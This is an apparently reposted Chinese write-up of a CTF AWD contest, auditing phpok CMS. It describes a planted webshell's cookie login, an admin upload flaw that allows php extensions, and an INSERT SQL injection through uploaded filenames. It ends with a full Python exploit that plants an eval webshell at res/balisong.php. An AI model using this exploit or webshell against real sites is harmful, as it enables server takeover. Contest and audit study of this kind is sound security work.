今晚简单来看看那天比赛的源码吧,比赛的时候还是有些慌没有好好去静下心看代码。

awd给的题中的漏洞,都是那种可以快速让你利用拿到权限后得到flag的那种,特别复杂利用的一般没有。

建议先黑盒去尝试,例如前台上传,后台上传,等等,执行失败再来结合代码审计看看是否可以绕过利用。

所以审计中重点关注预留后门,注入,文件上传,命令/代码执行。

0x01 预留后门

没有太多套路和隐藏 就是明显的马

比较有意思的是第一个大马。

当时以为就是普通的$pass  = 'ec38fe2a8497e0a8d6d349b3533038cb'; //angel  输入密码即可 但是发现并不是

输入angel密码后把md5给我返回回来了 看看代码

$pass  = 'ec38fe2a8497e0a8d6d349b3533038cb'; //angel
............./*身份验证*/
if ($act == "logout") {scookie('loginpass', '', -86400 * 365);@header('Location: '.SELF);exit;
}if($pass) {if ($act == 'login') {if ($pass == encode_pass($P['password'])) {scookie('loginpass',encode_pass($P['password']));@header('Location: '.SELF);exit;}}if (isset($_COOKIE['loginpass'])) {if ($_COOKIE['loginpass'] != $pass) {loginpage();}}else{loginpage();}
}

这里$p是接收的post提交的数组

简单的来说就是 接收你输入的password密码,然后encode_pass加密赋值给pass变量,然后scookie函数给你设置cookie,loginpass=加密后你的密码 来看看加密的函数

简单的加密后返回md5,

看看scookie函数,这里明显修改后,

这里的setcookie是没有成功的 所以直接输入马是进不去 ,访问的时候必须带着cookie的loginpass字段,值为加密后的angle

0x02 后台任意文件上传getshell

都是admin  当时登录后第一时间是改了后台密码

分析:

漏洞文件:/framework/admin/rescate_control.php 第 53行

public functionsave_f(){$id = $this->get('id','int');if(!$id){if(!$this->popedom['add']){$this->json(P_Lang('您没有权限执行此操作'));}}else{if(!$this->popedom['modify']){$this->json(P_Lang('您没有权限执行此操作'));}}$title = $this->get('title');if(!$title){$this->json(P_Lang('附件分类名称不能为空'));}$root = $this->get('root');if(!$root){$this->json(P_Lang('附件存储目录不能为空'));}if($root == '/'){$this->json(P_Lang('不支持使用/作为根目录'));}if(!preg_match("/[a-z0-9\_\/]+/",$root)){$this->json(P_Lang('文件夹不符合系统要求,只支持:小写字母、数字、下划线及斜杠'));}if(substr($root,0,1) == "/"){$root = substr($root,1);}if(!file_exists($this->dir_root.$root)){$this->lib('file')->make($this->dir_root.$root);}$filetypes = $this->get('filetypes');if(!$filetypes){$this->json(P_Lang('附件类型不能为空'));}$list_filetypes = explode(",",$filetypes);foreach($list_filetypes as $key=>$value){$value = trim($value);if(!$value){unset($list_filetypes[$key]);continue;}if(!preg_match("/[a-z0-9\_\.]+/",$value)){$this->json(P_Lang('附件类型设置不正确,仅限字母,数字及英文点符号'));}}$filetypes = implode(",",$list_filetypes);$typeinfo = $this->get('typeinfo');if(!$typeinfo){$this->json(P_Lang('附件类型说明不能为空'));}$maxinfo = str_replace(array('K','M','KB','MB','GB','G'),'',get_cfg_var('upload_max_filesize')) * 1024;$filemax = $this->get('filemax','int');if(!$filemax || ($filemax && $filemax>$maxinfo)){$filemax = $maxinfo;}$data = array('title'=>$title,'root'=>$root,'filetypes'=>$filetypes,'typeinfo'=>$typeinfo,'filemax'=>$filemax);$data['folder'] = $this->get('folder');$data['gdall'] = $this->get('gdall','int');if(!$data['gdall']){$gdtypes = $this->get('gdtypes');$data['gdtypes'] = $gdtypes ? implode(',',$gdtypes) : '';}else{$data['gdtypes'] = '';}$data['ico'] = $this->get('ico','int');$data['is_default'] = $this->get('is_default','int');$this->model('rescate')->save($data,$id);$this->json(true);}

这段代码是设置 可以上传的附件类型的代码

这里只判断附件类型是否为空,并没有限制后缀,导致可以自行添加php后缀,进而执行上传文件操作,获取网站shell。

在phpok 管理员后台,选择 工具 > 附件分类管理 编辑分类列表。在支持的附件类型: 中添加php

然后再内容管理>行业新闻 添加新的文章。在选择图片,资源管理器中上传新的附件。

0x03 前台getshell

比赛的时候源码是开放了前台的功能

在/framework/www/upload_control.php中第61行:

private function upload_base($input_name='upfile',$cateid=0){$rs = $this->lib('upload')->getfile($input_name,$cateid);if($rs["status"] != "ok"){return $rs;}$array = array();$array["cate_id"] = $rs['cate']['id'];$array["folder"] = $rs['folder'];$array["name"] = basename($rs['filename']);$array["ext"] = $rs['ext'];$array["filename"] = $rs['filename'];$array["addtime"] = $this->time;$array["title"] = $rs['title'];$array['session_id'] = $this->session->sessid();$array['user_id'] = $this->session->val('user_id');$arraylist = array("jpg","gif","png","jpeg");if(in_array($rs["ext"],$arraylist)){$img_ext = getimagesize($this->dir_root.$rs['filename']);$my_ext = array("width"=>$img_ext[0],"height"=>$img_ext[1]);$array["attr"] = serialize($my_ext);}$id = $this->model('res')->save($array);if(!$id){$this->lib('file')->rm($this->dir_root.$rs['filename']);return array('status'=>'error','error'=>P_Lang('图片存储失败'));}$this->model('res')->gd_update($id);$rs = $this->model('res')->get_one($id);$rs["status"] = "ok";return $rs;}

这是一个文件上传函数,然后在该函数开头又调用了getfile函数,跟进:

public function getfile($input='upfile',$cateid=0){if(!$input){return array('status'=>'error','content'=>P_Lang('未指定表单名称'));}$this->_cate($cateid);if(isset($_FILES[$input])){$rs = $this->_upload($input);}else{$rs = $this->_save($input);}if($rs['status'] != 'ok'){return $rs;}$rs['cate'] = $this->cate;return $rs;}

如果存在上传文件就调用_upload函数,继续跟进:

private function _upload($input){global $app;$basename = substr(md5(time().uniqid()),9,16);$chunk = $app->get('chunk','int');$chunks = $app->get('chunks','int');if(!$chunks){$chunks = 1;}$tmpname = $_FILES[$input]["name"];$tmpid = 'u_'.md5($tmpname);$ext = $this->file_ext($tmpname);$out_tmpfile = $this->dir_root.'data/cache/'.$tmpid.'_'.$chunk;if (!$out = @fopen($out_tmpfile.".parttmp", "wb")) {return array('status'=>'error','error'=>P_Lang('无法打开输出流'));}$error_id = $_FILES[$input]['error'] ? $_FILES[$input]['error'] : 0;if($error_id){return array('status'=>'error','error'=>$this->up_error[$error_id]);}if(!is_uploaded_file($_FILES[$input]['tmp_name'])){return array('status'=>'error','error'=>P_Lang('上传失败,临时文件无法写入'));}if(!$in = @fopen($_FILES[$input]["tmp_name"], "rb")) {return array('status'=>'error','error'=>P_Lang('无法打开输入流'));}while ($buff = fread($in, 4096)) {fwrite($out, $buff);}@fclose($out);@fclose($in);$app->lib('file')->mv($out_tmpfile.'.parttmp',$out_tmpfile.'.part');$index = 0;$done = true;for($index=0;$index<$chunks;$index++) {if (!file_exists($this->dir_root.'data/cache/'.$tmpid.'_'.$index.".part") ) {$done = false;break;}}if(!$done){return array('status'=>'error','error'=>'上传的文件异常');}$outfile = $this->folder.$basename.'.'.$ext;if(!$out = @fopen($this->dir_root.$outfile,"wb")) {return array('status'=>'error','error'=>P_Lang('无法打开输出流'));}if(flock($out,LOCK_EX)){for($index=0;$index<$chunks;$index++) {if (!$in = @fopen($this->dir_root.'data/cache/'.$tmpid.'_'.$index.'.part','rb')){break;}while ($buff = fread($in, 4096)) {fwrite($out, $buff);}@fclose($in);$GLOBALS['app']->lib('file')->rm($this->dir_root.'data/cache/'.$tmpid."_".$index.".part");}flock($out,LOCK_UN);}@fclose($out);$tmpname = $GLOBALS['app']->lib('string')->to_utf8($tmpname);$title = str_replace(".".$ext,'',$tmpname);return array('title'=>$title,'ext'=>$ext,'filename'=>$outfile,'folder'=>$this->folder,'status'=>'ok');}

其中 $ext = $this->file_ext($tmpname);是检测文件后缀的,看一下:

private function file_ext($tmpname){$ext = pathinfo($tmpname,PATHINFO_EXTENSION);if(!$ext){return false;}$ext = strtolower($ext);$filetypes = "jpg,gif,png";if($this->cate && $this->cate['filetypes']){$filetypes .= ",".$this->cate['filetypes'];}if($this->file_type){$filetypes .= ",".$this->file_type;}$list = explode(",",$filetypes);$list = array_unique($list);if(!in_array($ext,$list)){return false;}return $ext;}

上传是比较严格的,只允许上传后缀是jpg,png,gif这种图片后缀的文件,上传我们无法绕过,但是程序对于上传的文件名没有充份的过滤,在函数末尾,将文件名添加到了返回的数组中:


$tmpname = $GLOBALS['app']->lib('string')->to_utf8($tmpname);$title = str_replace(".".$ext,'',$tmpname);return array('title'=>$title,'ext'=>$ext,'filename'=>$outfile,'folder'=>$this->folder,'status'=>'ok');}

这里的$tmpname就是我们上传的文件名,注意,不是上传后的文件名,而是上传前的文件名,并且没有对该文件名过滤,然后返回。

我们回到开头,upload_base函数中去:

$rs = $this->lib('upload')->getfile($input_name,$cateid);if($rs["status"] != "ok"){return $rs;}$array = array();$array["cate_id"] = $rs['cate']['id'];$array["folder"] = $rs['folder'];$array["name"] = basename($rs['filename']);$array["ext"] = $rs['ext'];$array["filename"] = $rs['filename'];$array["addtime"] = $this->time;$array["title"] = $rs['title'];$array['session_id'] = $this->session->sessid();$array['user_id'] = $this->session->val('user_id');$arraylist = array("jpg","gif","png","jpeg");if(in_array($rs["ext"],$arraylist)){$img_ext = getimagesize($this->dir_root.$rs['filename']);$my_ext = array("width"=>$img_ext[0],"height"=>$img_ext[1]);$array["attr"] = serialize($my_ext);}$id = $this->model('res')->save($array);

可以看到这里将返回值中的title的值赋值给了$array[‘title’],这个值是我们可控的,然后将$array带入到了save函数中,我们看一下该函数:

在/framework/model/res.php中第279行:

public function save($data,$id=0){if(!$data || !is_array($data)){return false;}if($id){return $this->db->update_array($data,"res",array("id"=>$id));}else{return $this->db->insert_array($data,"res");}}

将$data带入到了insert_array函数中,我们看一下该函数:

/framework/engine/db/mysqli.php中第211行:

public function insert_array($data,$tbl,$type="insert"){if(!$tbl || !$data || !is_array($data)){return false;}if(substr($tbl,0,strlen($this->prefix)) != $this->prefix){$tbl = $this->prefix.$tbl;}$type = strtolower($type);$sql = $type == 'insert' ? "INSERT" : "REPLACE";$sql.= " INTO ".$tbl." ";$sql_fields = array();$sql_val = array();foreach($data AS $key=>$value){$sql_fields[] = "`".$key."`";$sql_val[] = "'".$value."'";}$sql.= "(".(implode(",",$sql_fields)).") VALUES(".(implode(",",$sql_val)).")";return $this->insert($sql);}

就是将该数组中的键值遍历出来,将键作为字段名,将值作为对应字段的值。可以看到,对于值是没有进行转义的,其中包括我们可以控制的title的值,那么这里就产生了一个insert的注入。那么这个注入我们有什么用呢?当然首先想到的是一个出数据,但是对于update 或者insert注入,一般来说我会想办法将这个注入升级一下危害。注意这个注入是一个insert注入,并且insert语句是可以一次插入多条内容的,我们不能控制当前这条insert语句的内容,我们可以控制下一条的内容,比如说像这样:
Insert into file values(1,2,3,),(4,5,6)

通过上文说到的,我们可以控制res表中的一行记录的值,那么这个filename也是我们可控的,那么我们如果将filename设置为/res/balisong.php。那么我上传的图片文件就会重新命名成/res/balisong.php。我们就达到了一个getshell的目的。

由于上传的文件名的特殊性。导致我们不能带有斜杠,那么怎么办呢?我们可以利用十六进制编码来绕过,具体的漏洞利用过程就不细说了,比较复杂,所以直接上exp:

来自先知社区

#-*- coding:utf-8 -*-
importrequestsimportsysimportreif len(sys.argv) < 2:print u"Usage: exp.py url [PHPSESSION]\r\nFor example:\r\n[0] exp.py http://localhost\r\n[1] exp.py http://localhost 6ogmgp727m0ivf6rnteeouuj02"exit()
baseurl= sys.argv[1]
phpses= sys.argv[2] if len(sys.argv) > 2 else ''cookies= {'PHPSESSION': phpses}if baseurl[-1] == '/':baseurl= baseurl[:-1]
url= baseurl + '/index.php?c=upload&f=save'files=[('upfile', ("1','r7ip15ijku7jeu1s1qqnvo9gj0','30',''),('1',0x7265732f3230313730352f32332f,0x393936396465336566326137643432352e6a7067,'',0x7265732f62616c69736f6e672e706870,'1495536080','2.jpg",'<?php @eval($_POST[balisong]);phpinfo();?>', 'image/jpg')),
]
files1=[('upfile',('1.jpg', '<?php @eval($_POST[balisong]);phpinfo();?>', 'image/jpg')),
]
r= requests.post(url, files=files, cookies=cookies)
response=r.text
id= re.search('"id":"(\d+)"', response, re.S).group(1)
id= int(id) + 1url= baseurl + '/index.php?c=upload&f=replace&oldid=%d' %(id)
r= requests.post(url, files=files1, cookies=cookies)
shell= baseurl + '/res/balisong.php'response=requests.get(shell)if response.status_code == 200:print "congratulation:Your shell:\n%s\npassword:balisong" %(shell)else:print "oh!Maybe failed.Please check"

转载于:https://www.cnblogs.com/-qing-/p/11229392.html

代码审计-四叶草杯线下awd比赛源码web2相关推荐

  1. CTF线下AWD攻防步骤总结

    Hello,我是普通Gopher,00后男孩,极致的共享主义者,想要成为一个终身学习者.专注于做最通俗易懂的计算机基础知识类公众号.每天推送Golang技术干货,内容起于K8S而不止于K8S,涉及Do ...

  2. ctf线下AWD攻防赛学习笔记

    Hello,我是普通Gopher,00后男孩,极致的共享主义者,想要成为一个终身学习者.专注于做最通俗易懂的计算机基础知识类公众号.每天推送Golang技术干货,内容起于K8S而不止于K8S,涉及Do ...

  3. 记第一次线下AWD感受及复现

    前言: 之前忙于期末复习,没有及时总结当时参赛的感受及复现,这次就来总结一下. 第一次参赛线下AWD感受 由于是第一次参加AWD比赛,各方面经验都不足,在参赛的前几天也是疯狂搜集各种脚本.框架.工具等 ...

  4. 四川大学线下编程比赛第一题:数字填充

    四川大学线下编程比赛第一题:数字填充 公布公司: 有 效 期: CSDN 2014-09-27至2015-09-26 难 度 等 级: 答 题 时 长: 编程语言要求: 120分钟 C C++ Jav ...

  5. 基于Java毕业设计政府采购线上招投标平台源码+系统+mysql+lw文档+部署软件

    基于Java毕业设计政府采购线上招投标平台源码+系统+mysql+lw文档+部署软件 基于Java毕业设计政府采购线上招投标平台源码+系统+mysql+lw文档+部署软件 本源码技术栈: 项目架构:B ...

  6. 线上相亲交友源码APP开发,是互联网婚恋市场的新途径

    线下社交面临多种阻碍,但是人们的社交需求仍然不变,这就对线上交友提出了新的机会.相亲交友源码的开发搭建,扩大了人们交友的渠道,给交友市场提出了更多可能性.随着移动互联网建设进一步完善,移动互联网婚恋交 ...

  7. 线上教育网站源码如何搭建网校平台,需要注意什么?

    现如今,很多线下教育培训机构开始转型线上,想要共享知识付费带来的红利.确实,线上教育不仅可以节约大量成本,所有课程还可以反复观看,提高学员的学习效率.对于刚刚接触网校平台搭建的人来说,在利用线上教育网 ...

  8. matlab布林线代码,精品布林线主图指标 源码 通达信

    好股票软件下载网(www.goodgupiao.com)提示:您正在下载的是:精品布林线主图指标 源码 通达信 BOLL:"BOLL-M".BOLL; UB:"BOLL- ...

  9. java计算机毕业设计河南口腔医疗机构线上服务系统源码+mysql数据库+系统+lw文档+部署

    java计算机毕业设计河南口腔医疗机构线上服务系统源码+mysql数据库+系统+lw文档+部署 java计算机毕业设计河南口腔医疗机构线上服务系统源码+mysql数据库+系统+lw文档+部署 本源码技 ...

最新文章

  1. NC:南农团队解码并重构微生物群体感应系统
  2. 把自己编写的python模块添加到PYTHONPATH上
  3. 技术上根本不思进取的金山词霸2007
  4. php 支付宝付款接口测试
  5. 本来中午打算应付下随便吃点,可是连盐都没有放的辣椒炒蛋实在是令人不快...
  6. webpack打包原理_对于webpack打包原理你知道有多少?
  7. Linux学习总结(53)——后台启动nohup /dev/null 21 使用总结
  8. Web前端新手必备的知识点,大家都掌握了吗?
  9. 测试面试题集-生活物品测试:杯子、伞、钢笔、桌子
  10. [置顶] “非主流”Web容器之TomJetty之让服务动起来
  11. 使用dataadapter和dataset更新数据库
  12. python无法显示饼图
  13. Gradle删除本地库文件
  14. PMP-全书知识重点图
  15. 适合计算机课堂玩的游戏,几个课堂小游戏(能活跃课堂气氛)
  16. 苹果id退不出来显示连接服务器,退出苹果id显示尚未连接互联网
  17. [转帖]国产麒麟系统为何饱受争议?
  18. 【C/C++】关于计算机内存地址的理解
  19. Fiddler简单使用手册
  20. R5F100PLAFB#V0 16位微控制器超低功耗RENESAS

热门文章

  1. C++ STL swap_range
  2. IIS利用X-Forwarded-For获得来访者的真实IP
  3. 为什么写博客?如何在博客中更好的分享?
  4. 20172305 2017-2018-2 《程序设计与数据结构》实验三报告
  5. Nginx 反向代理 负载均衡 虚拟主机
  6. 轻谈 return i++
  7. Java--缓存热点数据,最近最少使用算法
  8. Linux内核补丁升级
  9. JAVA服务器搭建之问题总结
  10. 类的赋值运算符的重载函数